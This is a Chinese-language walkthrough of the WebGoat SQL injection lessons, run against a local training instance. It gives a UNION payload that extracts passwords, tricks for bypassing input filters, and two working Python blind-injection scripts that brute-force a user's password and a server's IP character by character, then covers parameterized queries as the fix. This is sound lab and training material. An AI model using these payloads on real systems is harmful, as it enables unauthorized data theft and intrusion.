Injection

SQL Injection (intro)

示例界面:简单SQL查询 简单SQL更新 简单SQL修改 SQL权限 SQL注入实例 还是1=1 还是还是1=1 SQL query chaining drop table

; 结束语句,-- 注释剩余内容。源码示例展示字符串拼接导致可注入:source code


SQL Injection (advanced)

两个表字段展示:两个表

UNION 需列对齐,例如:

SELECT * FROM user_data WHERE last_name = 'Dave'
UNION SELECT 1,'a',user_name,password,'a','a',1 FROM user_system_data--

Q5 界面:Q5

盲注:无直接结果,仅通过行为推断。

注册页测试:register tom

  • 输入 tom 重复注册 + 1=1 提示已存在;1=2 返回创建成功,证明布尔盲注可行:测试重复注册并且1=1 测试1=2
  • 继续猜测字段与长度,确认存在 password,长度为 23:password exist length=23

编写脚本枚举小写字母,逐位盲注爆破密码:

import string
import requests

str_list = list(string.ascii_lowercase)
url = "http://127.0.0.1:9080/WebGoat/SqlInjectionAdvanced/register"
password = ""

for i in range(1, 24):
    for j in str_list:
        data = (
            f"username_reg=tom'+and+substring(password,{i},1)%3D'{j}'+'--&"
            "email_reg=1%401.com&password_reg=1&confirm_password_reg=1"
        )
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "Cookie": "JSESSIONID=1B03FBA8D22FE42FE2861021D269ECE9",
        }
        res = requests.put(url, data, headers=headers)
        if "already exists" in res.text:
            password += j
print(password)
print(len(password))

爆破结果与登录成功:result success

源码使用字符串拼接执行,依据返回状态给出不同提示,必须盲注才能取数:source code


SQL Injection (mitigation)

安全编写 SQL:使用参数化而非格式化拼接。

示例:使用ps.set而不要使用format 参数化查询的示例

单纯输入过滤不足:空格可被 /**/ 代替,关键字可变形:不能输入空格 使用/**/代替空格 关键字被过滤了 在关键字中间插入关键字,比如selselectect

ORDER BY 注入:

  • 语法允许 orderExpressionselectExpression,可用 CASE 询问布尔问题,如 SELECT * FROM users ORDER BY (CASE WHEN (TRUE) THEN lastname ELSE firstname END)
  • 需要对排序列做白名单(如 lastnamefirstname)。

题目要求获取 webgoat-prd 的 IP。抓包看到查询:column=ip

将排序参数替换为 (case when (1=1) id then id else ip end)--,结果按 id 排序,证明可注入:order by id

构造基于 CASE 的盲注逐字符枚举 IP。表名可通过请求错误列观察错误信息得到 SERVERS(无错误时需爆破)。请求示例:curl

Python 脚本:

import string
import json
import requests

chars = list("0123456789.")
url = "http://127.0.0.1:9080/WebGoat/SqlInjectionMitigations/servers?column="
ip = ""

for i in range(1, 16):
    for c in chars:
        payload = (
            f"(case+when+(substring((select+ip+from+servers+where+hostname='webgoat-prd'),{i},1)='{c}')+"
            "then+id+else+ip+end)--+"
        )
        res = requests.get(f"{url}{payload}", headers={"Cookie": "JSESSIONID=631CB1445583D221C571C86937C66D42"})
        if json.loads(res.text)[0]["id"] == "1":
            ip += c
            break
print(ip)

枚举结果:ip

提交答案正确:正确